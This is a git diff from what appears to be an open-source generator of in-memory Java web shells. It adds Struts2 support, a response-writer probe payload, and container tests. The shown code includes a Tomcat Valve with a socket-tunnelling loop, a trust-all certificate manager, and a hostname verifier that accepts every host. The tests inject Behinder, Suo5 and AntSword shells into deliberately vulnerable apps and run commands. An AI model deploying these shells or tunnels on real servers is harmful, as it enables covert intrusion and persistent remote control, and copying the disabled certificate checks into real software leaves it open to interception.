toUInt(result[q]) == sum; + return valid ? result : null; + } + } catch (Exception var8) { + return null; + } + } + + private boolean isOdd(int i) { + return (i & 1) == 1; + } + + private int toUInt(byte x) { + return x & 255; + } + + public static String md5(byte[] content) { + MessageDigest md = null; + try { + md = MessageDigest.getInstance("MD5"); + } catch (NoSuchAlgorithmException e) { + throw new RuntimeException(e); + } + byte[] md5Bytes = md.digest(content); + // no String.format in java1.4 + StringBuffer sb = new StringBuffer(); + for (int i = 0; i < md5Bytes.length; i++) { + byte b = md5Bytes[i]; + int value = b & 0xFF; + if (value < 16) { + sb.append('0'); + } + sb.append(Integer.toHexString(value)); + } + return sb.toString(); + } + + private ArrayList cookieValues(String cookieValue) { + ArrayList values = new ArrayList(); + String[] cookiePairs = cookieValue.split(";"); + + for (int i = 0; i < cookiePairs.length; i++) { + String pair = cookiePairs[i]; + String[] keyValue = pair.split("=", 2); + if (keyValue.length >= 2) { + values.add(keyValue[1].trim()); + } + } + + return values; + } + + public boolean verify(String hostname, SSLSession session) { + return true; + } + + public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public X509Certificate[] getAcceptedIssuers() { + return new X509Certificate[0]; + } + + public void run() { + // full stream + if (this.mode == 0) { + try { + pipeStream(gInStream, gOutStream, true); + } catch (Exception ignore) { + } + return; + } + + Object[] objs = (Object[]) getKey(this.gtunId); + if (objs == null || objs.length != 3) { + + return; + } + SocketChannel sc = (SocketChannel) objs[0]; + BlockingQueue readQueue = (BlockingQueue) objs[1]; + BlockingQueue writeQueue = (BlockingQueue) objs[2]; + boolean selfClean = false; + + try { + if (mode == 1) { + // read thread + ByteBuffer buffer = ByteBuffer.allocate(BUF_SIZE); + while (true) { + byte[] data = readSocketChannel(sc, buffer); + if (data.length == 0) { + break; + } + if (!readQueue.offer(data, 60, TimeUnit.SECONDS)) { + selfClean = true; + break; + } + } + } else { + // write thread + while (true) { + byte[] data = writeQueue.poll(300, TimeUnit.SECONDS); + if (data == null || data.length == 0) { + selfClean = true; + break; + } + ByteBuffer buf = ByteBuffer.wrap(data); + while (buf.hasRemaining()) { + sc.write(buf); + } + } + } + } catch (Exception e) { + } finally { + if (selfClean) { + + removeKey(this.gtunId); + } + readQueue.clear(); + writeQueue.clear(); + try { + writeQueue.put(new byte[0]); + sc.close(); + } catch (Exception ignore) { + } + + } + } + + protected Valve next; + protected boolean asyncSupported; + + @Override + public Valve getNext() { + return this.next; + } + + @Override + public void setNext(Valve valve) { + this.next = valve; + } + + @Override + public boolean isAsyncSupported() { + return this.asyncSupported; + } + + @Override + public void backgroundProcess() { + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/probe/generator/response/ResponseBodyGenerator.java b/generator/src/main/java/com/reajason/javaweb/probe/generator/response/ResponseBodyGenerator.java index f3369294..1eaa8aa0 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/generator/response/ResponseBodyGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/generator/response/ResponseBodyGenerator.java @@ -102,6 +102,8 @@ private Class getWriterClass() { return WebLogicWriter.class; case Server.Apusic: return ApusicWriter.class; + case Server.Struct2: + return Struct2Writer.class; default: throw new GenerationException("responseBody not supported for server: " + probeContentConfig.getServer()); } diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/response/Struct2Writer.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/Struct2Writer.java new file mode 100644 index 00000000..66a866d8 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/Struct2Writer.java @@ -0,0 +1,87 @@ +package com.reajason.javaweb.probe.payload.response; + +import java.io.PrintWriter; +import java.lang.reflect.Field; +import java.lang.reflect.Method; + +/** + * @author ReaJason + * @since 2025/12/8 + */ +public class Struct2Writer { + private static boolean ok = false; + + public Struct2Writer() { + if (ok) { + return; + } + try { + Class clazz = Thread.currentThread().getContextClassLoader().loadClass("com.opensymphony.xwork2.ActionContext"); + Object context = clazz.getMethod("getContext").invoke(null); + Method getMethod = clazz.getMethod("get", String.class); + Object request = getMethod.invoke(context, "com.opensymphony.xwork2.dispatcher.HttpServletRequest"); + Object response = getMethod.invoke(context, "com.opensymphony.xwork2.dispatcher.HttpServletResponse"); + String data = getDataFromReq(request); + if (data != null && !data.isEmpty()) { + PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null); + try { + writer.write(run(data)); + } catch (Throwable e) { + e.printStackTrace(); + e.printStackTrace(writer); + } + writer.flush(); + writer.close(); + } + } catch (Throwable e) { + e.printStackTrace(); + } finally { + ok = true; + } + } + + private String getDataFromReq(Object request) throws Exception { + return null; + } + + private String run(String data) throws Exception { + return null; + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws Exception { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(obj.getClass() + " Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + Field field = clazz.getDeclaredField(name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java index fef08123..a86830c1 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java @@ -16,6 +16,7 @@ public class ContainerTool { public static final MountableFile warExpressionFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-expression", "build", "libs", "vul-webapp-expression.war").toAbsolutePath()); public static final MountableFile warDeserializeFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-deserialize", "build", "libs", "vul-webapp-deserialize.war").toAbsolutePath()); public static final MountableFile warFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp", "build", "libs", "vul-webapp.war").toAbsolutePath()); + public static final MountableFile struct2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-struct2", "build", "libs", "vul-struct2.war").toAbsolutePath()); public static final MountableFile springBoot2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2", "build", "libs", "vul-springboot2.war").toAbsolutePath()); public static final Path neoGeorgDockerfile = Path.of("..", "asserts", "neoreg", "Dockerfile").toAbsolutePath(); public static final Path springBoot1Dockerfile = Path.of("..", "vul", "vul-springboot1", "Dockerfile").toAbsolutePath(); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java index b1b417c4..18233e97 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java @@ -14,7 +14,6 @@ import com.reajason.javaweb.packer.jar.*; import com.reajason.javaweb.packer.translet.XalanAbstractTransletPacker; import com.reajason.javaweb.suo5.Suo5Manager; -import com.reajason.javaweb.utils.CommonUtil; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -71,6 +70,7 @@ public static Pair getUrls(String url, String shellType, String || shellType.endsWith(ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER) || shellType.equals(ShellType.SPRING_WEBFLUX_HANDLER_METHOD) || shellType.equals(ShellType.SPRING_WEBFLUX_HANDLER_FUNCTION) + || shellType.equals(ShellType.ACTION) ) { urlPattern = "/" + shellTool + shellType + packer.name(); shellUrl = url + urlPattern; @@ -233,7 +233,8 @@ public static void assertShellIsOk(MemShellResult generateResult, String shellUr behinderIsOk(shellUrl, ((BehinderConfig) generateResult.getShellToolConfig())); break; case Suo5: - suo5IsOk(shellUrl, ((Suo5Config) generateResult.getShellToolConfig())); + case Suo5v2: + suo5IsOk(shellTool, shellUrl, ((Suo5Config) generateResult.getShellToolConfig())); break; case AntSword: antSwordIsOk(shellUrl, ((AntSwordConfig) generateResult.getShellToolConfig())); @@ -300,8 +301,8 @@ public static void behinderIsOk(String entrypoint, BehinderConfig shellConfig) { assertTrue(behinderManager.test()); } - public static void suo5IsOk(String entrypoint, Suo5Config shellConfig) { - assertTrue(Suo5Manager.test(entrypoint, shellConfig.getHeaderValue())); + public static void suo5IsOk(String shellTool, String entrypoint, Suo5Config shellConfig) { + assertTrue(Suo5Manager.test(shellTool, entrypoint, shellConfig.getHeaderValue())); } public static void antSwordIsOk(String entrypoint, AntSwordConfig shellConfig) { @@ -342,6 +343,7 @@ public static ShellToolConfig getShellToolConfig(String shellType, String shellT log.info("generated {} behinder with pass: {}, User-Agent: {}", shellType, behinderPass, uniqueName); break; case Suo5: + case Suo5v2: shellToolConfig = Suo5Config.builder() .headerName("User-Agent") .headerValue(uniqueName) @@ -480,7 +482,8 @@ public static void testProbeInject(String url, String server, String serverVersi assertThat(res, anyOf( Matchers.containsString("context: "), Matchers.containsString("server: "), - Matchers.containsString("channel: ") + Matchers.containsString("channel: "), + Matchers.containsString("namespace: ") )); ShellAssertion.commandIsOk(shellUrl, shellType, paramName, "id"); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish3ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish3ContainerTest.java index 81d032ca..41f499bb 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish3ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish3ContainerTest.java @@ -3,10 +3,12 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; +import org.apache.commons.lang3.tuple.Triple; import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.api.BeforeAll; import org.junit.jupiter.params.ParameterizedTest; @@ -49,12 +51,12 @@ public class GlassFish3ContainerTest { .withCopyToContainer(glassfishPid, "/fetch_pid.sh") .withNetwork(network) .withNetworkAliases("app") - .waitingFor(Wait.forHttp("/app")) + .waitingFor(Wait.forLogMessage(".*(deployed|done).*", 1)) .withExposedPorts(8080); @BeforeAll static void setup() { - container.waitingFor(Wait.forLogMessage(".*(deployed|done).*", 1)); + container.waitingFor(Wait.forHttp("/app")); } static Stream casesProvider() { @@ -67,7 +69,11 @@ static Stream casesProvider() { ShellType.CATALINA_AGENT_CONTEXT_VALVE ); List testPackers = List.of(Packers.JSP); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); + List> unSupportedCases = List.of( + Triple.of(ShellType.AGENT_FILTER_CHAIN, ShellTool.Suo5v2, Packers.AgentJar), // request.inputStream is empty + Triple.of(ShellType.CATALINA_AGENT_CONTEXT_VALVE, ShellTool.Suo5v2, Packers.AgentJar) // request.inputStream is empty + ); + return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, unSupportedCases); } @AfterAll diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara5201ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara5201ContainerTest.java index bb7e7d06..a2a4d4e2 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara5201ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara5201ContainerTest.java @@ -48,7 +48,7 @@ public class Payara5201ContainerTest { .withCopyToContainer(glassfishPid, "/fetch_pid.sh") .withNetwork(network) .withNetworkAliases("app") - .waitingFor(Wait.forHttp("/app")) + .waitingFor(Wait.forLogMessage(".*JMXService.*", 1)) .withExposedPorts(8080); static Stream casesProvider() { @@ -66,7 +66,7 @@ static Stream casesProvider() { @BeforeAll static void setup() { - container.waitingFor(Wait.forLogMessage(".*JMXService.*", 1)); + container.waitingFor(Wait.forHttp("/app")); } @AfterAll diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara520225ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara520225ContainerTest.java index e6fbf79e..ff983028 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara520225ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara520225ContainerTest.java @@ -48,7 +48,7 @@ public class Payara520225ContainerTest { .withCopyToContainer(glassfishPid, "/fetch_pid.sh") .withNetwork(network) .withNetworkAliases("app") - .waitingFor(Wait.forHttp("/app")) + .waitingFor(Wait.forLogMessage(".*JMXService.*", 1)) .withExposedPorts(8080); static Stream casesProvider() { @@ -66,7 +66,7 @@ static Stream casesProvider() { @BeforeAll static void setup() { - container.waitingFor(Wait.forLogMessage(".*JMXService.*", 1)); + container.waitingFor(Wait.forHttp("/app")); } @AfterAll diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/struct2/Struct2ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/struct2/Struct2ContainerTest.java new file mode 100644 index 00000000..826daf1c --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/struct2/Struct2ContainerTest.java @@ -0,0 +1,81 @@ +package com.reajason.javaweb.integration.memshell.struct2; + +import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; +import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.Network; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.images.builder.ImageFromDockerfile; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.List; +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.MatcherAssert.assertThat; + +/** + * @author ReaJason + * @since 2024/12/4 + */ +@Slf4j +@Testcontainers +public class Struct2ContainerTest { + public static final String imageName = "tomcat:8-jre8"; + + static Network network = Network.newNetwork(); + @Container + public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() + .withDockerfile(neoGeorgDockerfile)) + .withNetwork(network); + + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(struct2WarFile, "/usr/local/tomcat/webapps/app.war") + .withCopyToContainer(jattachFile, "/jattach") + .withCopyToContainer(tomcatPid, "/fetch_pid.sh") + .withNetwork(network) + .withNetworkAliases("app") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + static Stream casesProvider() { + String server = Server.Struct2; + List supportedShellTypes = List.of(ShellType.ACTION); + List testPackers = List.of(Packers.ScriptEngine); + return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); + } + + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + log.info(logs); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, String shellTool, Packers packer) { + shellInjectIsOk(getUrl(container), Server.Struct2, shellType, shellTool, Opcodes.V1_8, packer, container, python); + } + + @ParameterizedTest + @ValueSource(strings = {ShellType.ACTION}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.Struct2, shellType, Opcodes.V1_8); + } +} \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly9ContainerTest.java index f1a085fe..75c6bec0 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly9ContainerTest.java @@ -39,7 +39,7 @@ @Slf4j @Testcontainers public class Wildfly9ContainerTest { - public static final String imageName = "jboss/wildfly:10.0.0.Final"; + public static final String imageName = "jboss/wildfly:9.0.1.Final"; static Network network = Network.newNetwork(); @Container public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/struct2/Struct2ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/struct2/Struct2ContainerTest.java new file mode 100644 index 00000000..a1c8a570 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/struct2/Struct2ContainerTest.java @@ -0,0 +1,73 @@ +package com.reajason.javaweb.integration.probe.struct2; + +import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.VulTool; +import com.reajason.javaweb.integration.probe.DetectionTool; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import org.junit.jupiter.api.Test; +import org.objectweb.asm.Opcodes; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.nio.file.Files; +import java.nio.file.Paths; + +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.struct2WarFile; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/12/4 + */ +@Slf4j +@Testcontainers +public class Struct2ContainerTest { + public static final String imageName = "tomcat:8-jre8"; + + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(struct2WarFile, "/usr/local/tomcat/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + @Test + void testJDK() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); + assertEquals("JRE|1.8.0_402|52", data); + } + + @Test + @SneakyThrows + void testBasicInfo() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); + Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); + } + + @Test + void testServerDetection() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); + assertEquals(Server.Tomcat, data); + } + + @Test + @SneakyThrows + void testCommandReqHeaderResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseCommandIsOk(url, Server.Struct2, Opcodes.V1_8); + } + + @Test + @SneakyThrows + void testScriptEngineReqHeaderResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseScriptEngineIsOk(url, Server.Struct2, Opcodes.V1_8); + } +} \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly9ContainerTest.java index 9648c46f..1dfde1db 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly9ContainerTest.java @@ -30,7 +30,7 @@ @Slf4j @Testcontainers public class Wildfly9ContainerTest { - public static final String imageName = "jboss/wildfly:10.0.0.Final"; + public static final String imageName = "jboss/wildfly:9.0.1.Final"; @Container public static final GenericContainer container = new GenericContainer<>(imageName) .withCopyToContainer(warFile, "/opt/jboss/wildfly/standalone/deployments/app.war") diff --git a/integration-test/src/test/resources/infos/Struct2ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/Struct2ContainerTestBasicInfo.txt new file mode 100644 index 00000000..2150cedc --- /dev/null +++ b/integration-test/src/test/resources/infos/Struct2ContainerTestBasicInfo.txt @@ -0,0 +1,475 @@ +# Generated At 2025-12-08 15:18:17 +SystemProps: +java.vendor: Temurin +sun.java.launcher: SUN_STANDARD +catalina.base: /usr/local/tomcat +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +catalina.useNaming: true +os.name: Linux +sun.boot.class.path: /opt/java/openjdk/lib/resources.jar:/opt/java/openjdk/lib/rt.jar:/opt/java/openjdk/lib/sunrsasign.jar:/opt/java/openjdk/lib/jsse.jar:/opt/java/openjdk/lib/jce.jar:/opt/java/openjdk/lib/charsets.jar:/opt/java/openjdk/lib/jfr.jar:/opt/java/openjdk/classes +java.util.logging.config.file: /usr/local/tomcat/conf/logging.properties +org.apache.el.GET_CLASSLOADER_USE_PRIVILEGED: false +java.vm.specification.vendor: Oracle Corporation +java.runtime.version: 1.8.0_402-b06 +user.name: root +tomcat.util.scan.StandardJarScanFilter.jarsToScan: log4j-taglib*.jar,log4j-web*.jar,log4javascript*.jar,slf4j-taglib*.jar +shared.loader: +tomcat.util.buf.StringCache.byte.enabled: true +java.naming.factory.initial: org.apache.naming.java.javaURLContextFactory +user.language: en +sun.boot.library.path: /opt/java/openjdk/lib/aarch64 +jdk.tls.ephemeralDHKeySize: 2048 +java.version: 1.8.0_402 +java.util.logging.manager: org.apache.juli.ClassLoaderLogManager +user.timezone: Etc/UTC +sun.arch.data.model: 64 +java.util.concurrent.ForkJoinPool.common.threadFactory: org.apache.catalina.startup.SafeForkJoinWorkerThreadFactory +java.endorsed.dirs: /opt/java/openjdk/lib/endorsed +sun.cpu.isalist: +sun.jnu.encoding: UTF-8 +file.encoding.pkg: sun.io +package.access: sun.,org.apache.catalina.,org.apache.coyote.,org.apache.jasper.,org.apache.tomcat. +file.separator: / +java.specification.name: Java Platform API Specification +java.class.version: 52.0 +user.country: US +java.home: /opt/java/openjdk +java.vm.info: mixed mode +os.version: 6.17.8-orbstack-00308-g8f9c941121b1 +path.separator: : +java.vm.version: 25.402-b06 +java.protocol.handler.pkgs: org.apache.catalina.webresources +java.awt.printerjob: sun.print.PSPrinterJob +sun.io.unicode.encoding: UnicodeLittle +java.specification.maintenance.version: 5 +awt.toolkit: sun.awt.X11.XToolkit +package.definition: sun.,java.,org.apache.catalina.,org.apache.coyote.,org.apache.jasper.,org.apache.naming.,org.apache.tomcat. +java.naming.factory.url.pkgs: org.apache.naming +user.home: /root +org.apache.catalina.security.SecurityListener.UMASK: 0027 +java.specification.vendor: Oracle Corporation +tomcat.util.scan.StandardJarScanFilter.jarsToSkip: annotations-api.jar,ant-junit*.jar,ant-launcher*.jar,ant*.jar,asm-*.jar,aspectj*.jar,bcel*.jar,biz.aQute.bnd*.jar,bootstrap.jar,catalina-ant.jar,catalina-ha.jar,catalina-storeconfig.jar,catalina-tribes.jar,catalina-ws.jar,catalina.jar,cglib-*.jar,cobertura-*.jar,commons-beanutils*.jar,commons-codec*.jar,commons-collections*.jar,commons-compress*.jar,commons-daemon.jar,commons-dbcp*.jar,commons-digester*.jar,commons-fileupload*.jar,commons-httpclient*.jar,commons-io*.jar,commons-lang*.jar,commons-logging*.jar,commons-math*.jar,commons-pool*.jar,derby-*.jar,dom4j-*.jar,easymock-*.jar,ecj-*.jar,el-api.jar,geronimo-spec-jaxrpc*.jar,h2*.jar,ha-api-*.jar,hamcrest-*.jar,hibernate*.jar,httpclient*.jar,icu4j-*.jar,jasper-el.jar,jasper.jar,jaspic-api.jar,jaxb-*.jar,jaxen-*.jar,jaxws-rt-*.jar,jdom-*.jar,jetty-*.jar,jmx-tools.jar,jmx.jar,jsp-api.jar,jstl.jar,jta*.jar,junit-*.jar,junit.jar,log4j*.jar,mail*.jar,objenesis-*.jar,oraclepki.jar,org.hamcrest.core_*.jar,org.junit_*.jar,oro-*.jar,servlet-api-*.jar,servlet-api.jar,slf4j*.jar,taglibs-standard-spec-*.jar,tagsoup-*.jar,tomcat-api.jar,tomcat-coyote.jar,tomcat-dbcp.jar,tomcat-i18n-*.jar,tomcat-jdbc.jar,tomcat-jni.jar,tomcat-juli-adapters.jar,tomcat-juli.jar,tomcat-util-scan.jar,tomcat-util.jar,tomcat-websocket.jar,tools.jar,unboundid-ldapsdk-*.jar,websocket-api.jar,wsdl4j*.jar,xercesImpl.jar,xml-apis.jar,xmlParserAPIs-*.jar,xmlParserAPIs.jar,xom-*.jar +java.library.path: /usr/local/tomcat/native-jni-lib:/usr/java/packages/lib/aarch64:/lib:/usr/lib +java.vendor.url: https://adoptium.net/ +java.vm.vendor: Temurin +common.loader: "${catalina.base}/lib","${catalina.base}/lib/*.jar","${catalina.home}/lib","${catalina.home}/lib/*.jar" +java.runtime.name: OpenJDK Runtime Environment +sun.java.command: org.apache.catalina.startup.Bootstrap start +java.class.path: /usr/local/tomcat/bin/bootstrap.jar:/usr/local/tomcat/bin/tomcat-juli.jar +java.vm.specification.name: Java Virtual Machine Specification +java.vm.specification.version: 1.8 +catalina.home: /usr/local/tomcat +sun.cpu.endian: little +sun.os.patch.level: unknown +java.io.tmpdir: /usr/local/tomcat/temp +java.vendor.url.bug: https://github.com/adoptium/adoptium-support/issues +server.loader: +os.arch: aarch64 +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +java.ext.dirs: /opt/java/openjdk/lib/ext:/usr/java/packages/lib/ext +user.dir: /usr/local/tomcat +line.separator: + +java.vm.name: OpenJDK 64-Bit Server VM +ignore.endorsed.dirs: +file.encoding: UTF-8 +java.specification.version: 1.8 + +=========================================== + +ThreadStacks: +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"http-nio-8080-exec-8" #24 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.lang.Thread.dumpThreads(Native Method) + at java.lang.Thread.getAllStackTraces(Thread.java:1615) + at com.fasterxml.jackson.ZsoNQ.ErrorHandler.toString(BasicInfoPrinter.java:26) + at java.lang.String.valueOf(String.java:2994) + at org.apache.catalina.connector.CoyoteWriter.print(CoyoteWriter.java:243) + at Base64ClassLoaderAction.execute(Base64ClassLoaderAction.java:38) + at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) + at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) + at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) + at java.lang.reflect.Method.invoke(Method.java:498) + at ognl.OgnlRuntime.invokeMethodInsideSandbox(OgnlRuntime.java:1266) + at ognl.OgnlRuntime.invokeMethod(OgnlRuntime.java:1251) + at ognl.OgnlRuntime.callAppropriateMethod(OgnlRuntime.java:1969) + at ognl.ObjectMethodAccessor.callMethod(ObjectMethodAccessor.java:68) + at com.opensymphony.xwork2.ognl.accessor.XWorkMethodAccessor.callMethodWithDebugInfo(XWorkMethodAccessor.java:98) + at com.opensymphony.xwork2.ognl.accessor.XWorkMethodAccessor.callMethod(XWorkMethodAccessor.java:90) + at ognl.OgnlRuntime.callMethod(OgnlRuntime.java:2045) + at ognl.ASTMethod.getValueBody(ASTMethod.java:97) + at ognl.SimpleNode.evaluateGetValueBody(SimpleNode.java:212) + at ognl.SimpleNode.getValue(SimpleNode.java:258) + at ognl.Ognl.getValue(Ognl.java:537) + at ognl.Ognl.getValue(Ognl.java:501) + at com.opensymphony.xwork2.ognl.OgnlUtil$3.execute(OgnlUtil.java:492) + at com.opensymphony.xwork2.ognl.OgnlUtil.compileAndExecuteMethod(OgnlUtil.java:544) + at com.opensymphony.xwork2.ognl.OgnlUtil.callMethod(OgnlUtil.java:490) + at com.opensymphony.xwork2.DefaultActionInvocation.invokeAction(DefaultActionInvocation.java:438) + at com.opensymphony.xwork2.DefaultActionInvocation.invokeActionOnly(DefaultActionInvocation.java:293) + at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:254) + at org.apache.struts2.interceptor.debugging.DebuggingInterceptor.intercept(DebuggingInterceptor.java:250) + at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249) + at com.opensymphony.xwork2.interceptor.DefaultWorkflowInterceptor.doIntercept(DefaultWorkflowInterceptor.java:179) + at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:99) + at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249) + at com.opensymphony.xwork2.validator.ValidationInterceptor.doIntercept(ValidationInterceptor.java:263) + at org.apache.struts2.interceptor.validation.AnnotationValidationInterceptor.doIntercept(AnnotationValidationInterceptor.java:49) + at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:99) + at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249) + at 